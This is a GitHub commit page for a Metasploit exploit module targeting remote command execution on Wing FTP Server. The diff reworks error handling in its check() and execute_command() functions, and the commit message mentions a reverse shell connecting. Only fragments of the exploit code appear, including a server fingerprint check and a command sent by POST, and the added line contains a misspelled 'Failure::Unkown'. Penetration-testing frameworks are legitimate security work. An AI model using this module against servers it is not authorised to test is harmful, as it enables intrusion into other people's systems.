Skip to content

Commit 6c90a50

Browse files
committed
Handle res.nil case in check(). Revert check for res.nil in
execute_command() because it was failing prior to the reverse_shell connecting.
1 parent 0788ce9 commit 6c90a50

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

modules/exploits/windows/ftp/wing_ftp_server_rce.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,11 @@ def check
5555
'method' => 'GET'
5656
})
5757

58-
if res and res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
58+
if !res
59+
fail_with(Failure::Unreachable, "#{peer} - Vulnerable page was unreachable.")
60+
elsif res.code != 200
61+
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP Response Code.")
62+
elsif res.body =~ /Wing FTP Server Administrator/ and res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
5963
return Exploit::CheckCode::Appears
6064
end
6165

@@ -82,10 +86,8 @@ def execute_command(cmd, opts = {})
8286
'vars_post' => { 'command' => command }
8387
})
8488

85-
if !res
86-
fail_with(Failure::Unreachable, "#{peer} - Vulnerable page was unreachable.")
87-
elsif res.code != 200
88-
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP Response Code.")
89+
if res and res.code != 200
90+
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
8991
end
9092
end
9193

0 commit comments

Comments
 (0)